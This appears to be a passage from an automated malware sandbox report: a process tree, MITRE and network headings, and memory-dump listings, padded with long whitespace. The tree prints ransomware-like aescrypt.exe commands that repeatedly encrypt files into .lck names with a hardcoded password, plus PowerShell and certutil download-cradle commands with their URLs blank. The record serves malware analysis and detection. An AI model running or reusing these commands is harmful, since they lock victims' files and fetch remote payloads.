                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6728
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck.lck.lck" "aescrypt.exe.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6740
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck.lck.lck.lck" "aescrypt.exe.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6712
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck.lck.lck.lck.lck" "aescrypt.exe.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6756
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck.lck.lck.lck.lck.lck" "aescrypt.exe.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6716
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck" "DiscordSendWebhook.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6900
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck" "DiscordSendWebhook.exe.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6916
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck.lck" "DiscordSendWebhook.exe.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4228
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck.lck.lck" "DiscordSendWebhook.exe.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6868
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck.lck.lck.lck" "DiscordSendWebhook.exe.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6888
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck.lck.lck.lck.lck" "DiscordSendWebhook.exe.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6908
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck.lck.lck.lck.lck.lck" "DiscordSendWebhook.exe.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6928
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    powershell.exe -c (new-object System.Net.WebClient).DownloadFile('','')
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6960
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    powershell.exe -c Invoke-WebRequest -Uri -OutFile
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4716
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\certutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    certutil -urlcache -split -f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6368
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1056
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\werfault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  werfault.exe /h /shared Global\32c59a4ffccb45fca1e49fe24760ce2b /t 3044 /p 3040
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:908
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Enumerates connected drives
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5088
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4968
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3404

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/184-101-0x00007FFEA3AE0000-0x00007FFEA44CC000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    9.9MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/184-109-0x000001EBE8998000-0x000001EBE8999000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/184-106-0x000001EBE8993000-0x000001EBE8995000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/184-108-0x000001EBE8996000-0x000001EBE8998000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/184-105-0x000001EBE8990000-0x000001EBE8992000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/908-176-0x000002A753CE0000-0x000002A753CE1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/908-175-0x000002A753CE0000-0x000002A753CE1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/908-178-0x000002A753F10000-0x000002A753F11000-memory.dmp

